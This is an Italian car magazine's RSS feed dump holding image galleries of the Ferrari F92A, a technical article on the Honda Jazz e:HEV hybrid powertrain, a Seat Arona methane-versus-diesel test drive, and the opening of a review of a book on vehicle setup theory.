<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="754" data-id="95246" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-140792704-2048x2048-1.jpg" alt="gettyimages 140792704 2048x2048 1" class="wp-image-95246" title="Le peggiori Formula 1 della storia: Ferrari F92A 532" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792704-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792704-2048x2048-1-1024x680.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792704-2048x2048-1-768x510.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792704-2048x2048-1-300x199.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792704-2048x2048-1-696x462.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 545</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="779" data-id="95245" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-140792702-2048x2048-1.jpg" alt="gettyimages 140792702 2048x2048 1" class="wp-image-95245" title="Le peggiori Formula 1 della storia: Ferrari F92A 533" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792702-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792702-2048x2048-1-1024x702.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792702-2048x2048-1-768x527.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792702-2048x2048-1-300x206.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792702-2048x2048-1-696x477.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 546</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="736" data-id="95244" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-140792662-2048x2048-1.jpg" alt="gettyimages 140792662 2048x2048 1" class="wp-image-95244" title="Le peggiori Formula 1 della storia: Ferrari F92A 534" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792662-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792662-2048x2048-1-1024x663.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792662-2048x2048-1-768x498.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792662-2048x2048-1-300x194.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-140792662-2048x2048-1-696x451.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 547</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="95243" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/Ferrari-F92A-80411.jpg" alt="Ferrari F92A 80411" class="wp-image-95243" title="Le peggiori Formula 1 della storia: Ferrari F92A 535" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92A-80411.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92A-80411-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92A-80411-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92A-80411-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 548</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="95242" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/Ferrari-F92-A-2976.jpg" alt="Ferrari F92 A 2976" class="wp-image-95242" title="Le peggiori Formula 1 della storia: Ferrari F92A 536" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2976.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2976-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2976-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2976-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 549</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="95241" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/Ferrari-F92-A-2975.jpg" alt="Ferrari F92 A 2975" class="wp-image-95241" title="Le peggiori Formula 1 della storia: Ferrari F92A 537" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2975.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2975-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2975-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/Ferrari-F92-A-2975-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 550</figcaption></figure>
</figure>
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		<title>Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz</title>
		<link>https://www.giornalemotori.com/2020/07/15/honda-in-dettaglio-il-sistema-full-hybrid-ehev-della-nuova-jazz/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=honda-in-dettaglio-il-sistema-full-hybrid-ehev-della-nuova-jazz</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 15 Jul 2020 17:52:03 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La nuova Jazz nelle varianti berlina e Crosstar debutta sul mercato italiano con la sola power unit ibrida. Una tecnologia derivata direttamente dal già noto sistema iMMD in dotazione alla Honda CR-V Hybrid . La variante messa appunto dai tecnici giapponesi per la piccola Jazz, si adatta perfettamente al carattere pratico della vettura. Un sistema [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2020/07/15/honda-in-dettaglio-il-sistema-full-hybrid-ehev-della-nuova-jazz/">Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">La nuova Jazz nelle varianti berlina e Crosstar debutta sul mercato italiano con la sola power unit ibrida. Una tecnologia derivata direttamente dal già noto sistema iMMD in dotazione alla Honda CR-V Hybrid .</p>
<p><img decoding="async" class="aligncenter size-large wp-image-94818" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/ehev-1-1024x724.jpg" alt="ehev 1" width="1024" height="724" title="Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz 555" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/ehev-1-1024x724.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/ehev-1-768x543.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/ehev-1-300x212.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/ehev-1-696x492.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/07/ehev-1.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">La variante messa appunto dai tecnici giapponesi per la piccola Jazz, si adatta perfettamente al carattere pratico della vettura. Un sistema più semplice, funzionale ma che non rinuncia alle prestazioni ponendo la piccola Honda al vertice per efficienza nel segmento &#8220;B&#8221;</p>
<p style="text-align: justify;">Il sistema full hybrid e:HEV e di tipo in serie con motore endotermico 1.5 litri ciclo Atkinson e doppio motore elettrico. L’unità endotermica è da 1498 cm3, con alesaggio 73mm e corsa da 89,5mm quindi a corsa lunga. Il funzionamento è a Atkinson/Miller.</p>
<p style="text-align: justify;">La potenza è di 97cv con 131Nm di coppia.  La distribuzione è a catena con alzata delle valvole variabile attraverso il sistema i-VTEC all’aspirazione. Il VTEC è un sistema a fasatura variabile, ormai leggenda in casa Honda. Sull’albero a camme di aspirazione sono ricavate due tipologie di camme diverse. Un pistone idraulico alterna le due geometrie a contatto con le punterie a seconda del regime di utilizzo del motore.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94819" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/images-coppia-ivtec.png" alt="images coppia ivtec" width="245" height="206" title="Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz 556"></p>
<p style="text-align: justify;">Nato per favorire una curva di coppia più ampia possibile nei motori che hanno un escursione del regime di giri molto alto fino ai 9000 giri/minuto, in questo caso, per il 1.5 litri I-VTEC, viene utilizzato per avere una curva di coppia costante con un numero di giri più ristretto.</p>
<p style="text-align: justify;">La potenza infatti viene ricavata a soli 5500 giri/minuto con limitatore posto a 6400 giri/minuto, mentre il regime di coppia è massima a 4500giri/minuti. Per questa versione dell’i-VTEC si registra un valore di 120Nm già a 2500 giri/minuto per una maggiore elasticità ed efficienza.</p>
<p style="text-align: justify;">Come tutti i propulsori ciclo Atkinson/Miller, la potenza specifica è piuttosto bassa attestandosi a 64cv/litro. In cambio, Honda dichiara un efficienza di rendimento energetico del 40%. Un risultato record per un propulsore di cilindrata così contenuta, con un enorme vantaggio in termini di consumo specifico quando il propulsore viene lasciato a viaggiare da solo ad alta velocità.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94820" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/honda-jazz-come-funziona-il-sistema-ibrido.png" alt="honda jazz come funziona il sistema ibrido" width="1024" height="533" title="Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz 557" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-come-funziona-il-sistema-ibrido.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-come-funziona-il-sistema-ibrido-768x400.png 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-come-funziona-il-sistema-ibrido-300x156.png 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-come-funziona-il-sistema-ibrido-696x362.png 696w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">La parte elettrica del sistema e:HEV, è formata da due motori asincroni a magneti permanenti. Uno con la funzione di portare il moto alle ruote, il secondo invece con funzione di generatore per ricaricare la batteria. Proprio l’uso di due propulsori elettrici per le due funzioni di trazione ed immagazzinamento consente di ottenere una risposta più rapida ed una migliore efficienza.</p>
<p style="text-align: justify;">Una particolarità dei motori elettrici Honda è che sono i primi ad utilizzare magneti permanenti senza l’utilizzo di materiali delle terre rare nelle la lega della loro composizione. L’utilizzo queste costose materie avviene per il controllo delle alte temperature. La soluzione trovata da Honda, svincola il costruttore giapponese dalla necessità di approvvigionarsi di materie sempre più costose per la produzione di motori elettrici. In termini pratici, la nuova geometria del magnete ha consentito di progettare una forma del rotore ottimizzata per sfruttare meglio il flusso magnetico.</p>
<p style="text-align: justify;">Migliori le prestazioni in termini di coppia, potenza e resistenza al calore rispetto ad un motore con magnete convenzionale. La potenza è di 109cv con una coppia pari a 230Nm per il motore di trazione. Il generatore invece sviluppa 95,2cv. La batteria è ad ioni di Litio da 1.2Kw/h posta sull’asse posteriore per avere una ripartizione dei pesi migliore senza inficiare sulle caratteristiche di sfruttamento dei vani interni con la soluzione dei sedili magici.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-94821" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min-1024x512.jpg" alt="honda jazz hybrid 2019 01 sebastian schaal min" width="1024" height="512" title="Honda: In dettaglio il sistema Full Hybrid e:HEV della nuova Jazz 558" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min-1024x512.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min-768x384.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min-300x150.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min-696x348.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/07/honda-jazz-hybrid-2019-01-sebastian-schaal-min.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Tre le modalità di guida: La Jazz e:HEV, parte sempre in modalità EV, quindi full elettrica e ci resta fino a 30km/h circa o nei casi di poca richiesta di potenza. All&#8217;aumentare della velocità, o della richiesta di potenza, la vettura entra in modalità Hybrid Auto. Il motore endotermico si accende. La sua funzione non è quella di portare potenza alle ruote ma essendo un sistema ibrido in serie, muove il motore/generatore. La potenza che arriva alle ruote è sempre dovuta al motore elettrico principale.</p>
<p style="text-align: justify;">In sostanza, il motore benzina funge da range extender per la batteria. La terza modalità è la Engine Mode. Quando la Jazz e:HEV supera la velocità di 80/90km/h o viene richiesta la massima potenza, allora il sistema si collega direttamente attraverso il cambio a rapporto unico gestito da una frizione. In questa fase il motore elettrico si spegne, rimanendo collegato solo il generatore per fornire energia alle batterie.</p>
<p style="text-align: justify;">https://www.youtube.com/watch?v=OcZv1FhdaaE</p>
<p style="text-align: justify;">La ricarica avviene tramite frenata rigenerativa, attraverso il motore/generatore. Il cambio ha una funzione aggiuntiva “B”. Quando questa è attiva, nelle fasi di falsopiano o discesa, il freno motore per la ricarica di energia aumenta. La sua forza è talmente evidente che si può anche evitare di usare il freno per rallentare usandolo come funzione Dual-Pedal di molte auto elettriche. L&#8217;uso da parte dell&#8217;utente di questa funzione, aumenta la quantità di ricarica consentendo alla Jazz e:HEV di avere maggiori possibilità di andare in modalità full elettrico anche a velocità di veleggiamento superiori ai 30-50km/h concessi in condizioni normali.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Test Drive: Seat Arona TGI 90cv FR Metano, l&#8217;economica, e 1.6 TDI 95cv Style, la vivace</title>
		<link>https://www.giornalemotori.com/2020/07/09/test-drive-seat-arona-tgi-90cv-fr-metano-leconomica-e-1-6-tdi-95cv-style-la-vivace/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=test-drive-seat-arona-tgi-90cv-fr-metano-leconomica-e-1-6-tdi-95cv-style-la-vivace</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 08 Jul 2020 23:08:19 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p> Seat Arona, il SUV compatto che riesce a far convivere l&#8217;anima latina contraddistinta da uno stile frizzante al pragmatismo e la versatilità di una vettura attenta ai costi. La Arona, infatti, è presente in listino sia con motorizzazioni tradizionali turbo-diesel che con carburante alternativo come il metano, entrambi oggetti della prova. Nel dettaglio si tratta [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><strong> Seat Arona, il SUV compatto che riesce a far convivere l&#8217;anima latina contraddistinta da uno stile frizzante al pragmatismo e la versatilità di una vettura attenta ai costi</strong>.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94647" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/23592336-1.jpg" alt="23592336 1" width="1024" height="768" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 567" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/23592336-1.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/23592336-1-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/23592336-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/23592336-1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/07/23592336-1-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">La Arona, infatti, è presente in listino sia con motorizzazioni tradizionali turbo-diesel che con carburante alternativo come il metano, entrambi oggetti della prova. <strong>Nel dettaglio si tratta delle Seat Arona TDI 95cv Style, e 1.0 TGI 90cv FR, profondamente diverse nello stile</strong>.  A guardarle si comprende come le auto moderne non sono tutte uguali. Avvolte basta un solo dettaglio per fare un’enorme differenza. La più semplice Style è fornita in colorazione unica grigio chiaro, anche per il tetto,  con inserto nero. La versione FR,  invece, è dotata di un bel rosso acceso con tetto nero lucido ed inserto a contrasto. Un accostamento veramente bello da guardare che non passa inosservato.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94648" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-66.jpg" alt="small 66" width="640" height="427" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 568" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-66.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-66-300x200.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">In sostanza bi-color vince a mani basse. Sono 650 Euro che fanno la differenza tra apparire come medio-man o essere cool! Gli interni seguono la stessa logica che vale per l’estetica. Il design della plancia è lo stesso per entrambe le versioni, ma la Style con gli inserti grigio tendente all’azzurro evidenzia come le plastiche siano di tipo rigido.<strong> Inoltre,  il mobiletto centrale intorno alla leva del cambio,  se pressato in curva dal lato esterno della gamba , mostra qualche scricchiolio.</strong></p>
<p><figure id="attachment_94649" aria-describedby="caption-attachment-94649" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-94649 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-76.jpg" alt="small 76" width="640" height="428" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 569" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-76.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-76-300x201.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption id="caption-attachment-94649" class="wp-caption-text">Consolle centrale versione TDI Style con Navigatore optional</figcaption></figure></p>
<p style="text-align: justify;"><strong>Diverso il discorso per la FR. Più sportiva, con sedili in materiale pregiato, ben fatti e comodi</strong>. Al centro della plancia l’inserto ricalca il materiale usato anche per i pannelli porta. Un accostamento cromatico che attenua la sensazione di plastica rigida per le altre componenti degli arredi. Per accontentare l’occhio che vuole la sua parte, bisogna convincere il portafoglio a sborsare quasi 2.000 euro per la differenza di allestimento a parità di motorizzazione.</p>
<p style="text-align: justify;"><strong>Il sistema multimediale al centro della plancia è una vecchia conoscenza già un uso su altri modelli del gruppo. </strong> Un esempio di semplicità e completezza. Facile da usare è dotato anche di applicazioni come Android Auto e Apple CarPlay.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94650" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-68.jpg" alt="small 68" width="640" height="429" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 570" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-68.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-68-300x201.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">Lo spazio a bordo è abbondante con il divanetto posteriore che consente di ospitare anche tre persone comodamente. <strong>Diverso il discordo per quanto riguarda il bagagliaio.</strong> Se per le versioni Diesel o anche benzina si può sfruttare un vano che arriva a quota 350litri per la versione a metano a causa della presenza delle bombole non si arriva a superare quota 250litri, al livello di piccole utilitarie.</p>
<p style="text-align: justify;">Su strada l’Arona si guida bene. Il posto guida è uguale per entrambe le versioni. Regolabile per ogni altezza anche se avremmo preferito una maggiore escursione del sedile per un posto guida più basso a gambe più distese. Il comfort è buono, le sospensioni hanno una taratura da compromesso. La gommatura maggiorata della versione FR non comporta troppi scossoni aggiuntivi agli occupanti. <strong>Unico neo la rumorosità che poteva essere maggiormente filtrata, soprattutto quella degli pneumatici.</strong></p>
<p><img decoding="async" class="aligncenter size-full wp-image-94651" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-72.jpg" alt="small 72" width="353" height="480" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 571" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-72.jpg 353w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-72-300x408.jpg 300w" sizes="(max-width: 353px) 100vw, 353px" /></p>
<p style="text-align: justify;"><strong>Due le motorizzazioni in prova. Per prima analizziamo la motorizzazione 1.0 TGI Metano.</strong> Il motore è una derivazione del già noto 1.0 litri tre cilindri già provato sulla sorella maggiore Ateca. Per adattarsi al nuovo carburante i tecnici Seat o Volkswagen hanno dovuto abbassare il livello di potenza. In questa configurazione eroga 90cv per 160Nm di coppia massima a 1800 giri/minuto.</p>
<p style="text-align: justify;">Un propulsore che conserva parzialmente il carattere del fratello maggiore nella parte bassa dei giri. <strong>Manca di carattere dalla zona intermedia per diventate deficitario in allungo.</strong> Le prestazioni ne risentono, anche a causa del peso maggiore di 100kg.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94652" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small.jpg" alt="small" width="640" height="337" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 572" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-300x158.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;"><strong>La classica prova dello scatto da fermo non riesce a scendere sotto i</strong> 13 secondi per lo 0-100km/h. In ripresa per ottenere una prestazione decente si devono scalare almeno due marce. <strong>Il 1.6 litri TDI è il fratello minore per questa cubatura da 95cv per una coppia di 260Nm,  ben 90Nm in più del motore metano.</strong> Un propulsore che conserva maggiormente il carattere del fratello maggiore. Riprende bene dal basso e mantiene la spinta anche oltre i 3000 giri/minuto. Affievolisce, facendo pesare la differenza di cavalleria solo agli alti regimi.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94653" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-67.jpg" alt="small 67" width="640" height="427" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 573" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-67.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-67-300x200.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">La differenza di prestazione è imbarazzante. Senza il minimo sforzo si fanno registrare tempi in accelerazione di 1.5 secondi più rapidi del motore a Metano. <strong>La ripresa, nonostante il cambio sia solo a cinque marce,  non necessita di scalare almeno di non scendere sotto i 1500giri/minuto e basta comunque togliere una sola marcia.</strong></p>
<p style="text-align: justify;">In entrambi i casi il cambio appare come un buon manuale, fluido e preciso negli innesti.<strong> Inspiegabile la mancanza di una sesta per il TDI.</strong> In ogni caso due comandi che non fanno rimpiangere l’assenza di un bel DSG. In definitiva,  se volessimo fare un confronto prestazionale, senza considerare in costi, un acquirente di Seat Arona dovrebbe essere un folle a preferire la versione metano rispetto alla diesel.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94654" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-64.jpg" alt="small 64" width="640" height="427" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 574" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-64.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-64-300x200.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">Prima di raccontare come si comportano le due vetture in un bel percorso pieno di curve, va fatta un’altra distinzione tecnica. A parte la differente gommatura,  la FR ha in dotazione optional i cerchi da 18” pollici, l’Arona a metano, sulla carta ha una migliore distribuzione dei pesi. <strong>Le bombole poste nel bagagliaio riequilibrano il peso tra i due assi.</strong></p>
<p style="text-align: justify;">Peccato che il peso spostato al posteriore sia posizionato dietro l’asse delle ruote dietro. <strong>Detto questo,  il comportamento stradale restando nei limiti della condotta di un normale utente, è una copia ed incolla di altre vetture della gamma Volkswagen già testate come la T-Cross, o la sorella maggiore T-Roc e derivate.</strong></p>
<p><img decoding="async" class="aligncenter size-full wp-image-94655" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-65.jpg" alt="small 65" width="640" height="390" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 575" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-65.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-65-300x183.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">Solo spingendo veramente tanto, e si incontra una curva con un grazioso animaletto da evitare con una frenata brusca,  le due vetture agiscono in modo leggermente diverso. <strong>Il retrotreno si sposta in modo più evidente sulla FR a metano. In ogni caso il controllo di stabilità è molto ben tarato.</strong> Funziona davvero bene. Si attiva solo quando è veramente necessario lasciando al guidatore esperto ampio margine di movimento per adattare al proprio stile di guida le reazioni del telaio in ingresso e percorrenza di curva.</p>
<p style="text-align: justify;">Siamo arrivato alle conclusioni economiche. Le due motorizzazioni a parità di allestimento hanno un differenza a favore della TGI di 1.200 euro circa. I consumi invece in valore assoluto,  convertendo i km di Metano in litri, si attesta in 5,5 litri/100km mentre la diesel resta a quota 4,5litri/100km. <strong>Pur consumando meno,  il motore a gasolio non riesce a compensare la metà del prezzo alla pompa del Metano.</strong> Considerando il prezzo iniziale più conveniente, le agevolazioni che le regioni in modo differenziato prevedono per questa alimentazione, tagliano la testa al toro sulla convenienza del Metano.</p>
<p><figure id="attachment_94656" aria-describedby="caption-attachment-94656" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-94656 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/small-77.jpg" alt="Interni versione TDI Style " width="640" height="427" title="Test Drive: Seat Arona TGI 90cv FR Metano, l&#039;economica, e 1.6 TDI 95cv Style, la vivace 576" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/small-77.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/07/small-77-300x200.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption id="caption-attachment-94656" class="wp-caption-text">Interni TDI Style</figcaption></figure></p>
<p style="text-align: justify;">Un cliente attento al portafoglio e meno alle emozioni, sarebbe un folle a non scegliere l’Arona TGI. La TDI è più economica ma <strong>caso van integrata con vernice bi-color e navigatore, facendo salire il prezzo da 22.900 di 1000 euro.</strong> La TGI FR, parte dai 23.950 Euro a cui va aggiunta la sola vernice bi-color che porta a 24.500 euro il prezzo di listino.</p>
<p style="text-align: justify;"><strong>In conclusione, la Seat Arona è una vettura dallo stile frizzante, soprattutto se scelta nel giusto allestimento che valorizza forme e dettagli estetici.</strong> Le prestazioni della motorizzazione diesel sono di buon livello.  La versione Metano è perfetta per chi vuole una vettura tra le più economiche del mercato a patto di rinunciare a qualche emozione al volante a favore della felicità del portafoglio.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Libri: “Teoria dell’assetto di un veicolo” dell’Ing Massimiliano Cerquetani</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 17 Jun 2020 09:51:11 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Non c’è appassionato di meccanica, di ogni livello, dall’amatore al tecnico, che non abbia una biblioteca ben fornita. Da oggi trova un posto particolare “Teoria dell’assetto di un veicolo” dell’Ing Massimiliano Cerquetani, edito da TexMat (info@texmat.it) Il motivo è semplice. I libri che parlano di tecnica motoristica non mancano. Ma il tema dell’assetto è sempre [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Non c’è appassionato di meccanica, di ogni livello, dall’amatore al tecnico, che non abbia una biblioteca ben fornita. Da oggi trova un posto particolare <strong>“Teoria dell’assetto di un veicolo”</strong> dell’<strong>Ing <a href="https://www.linkedin.com/in/massimiliano-cerquetani-082a279a/" target="_blank" rel="noopener">Massimiliano Cerquetani</a></strong>, edito da <strong>TexMat</strong> (<a href="mailto:info@texmat.it">info@texmat.it</a>)</p>
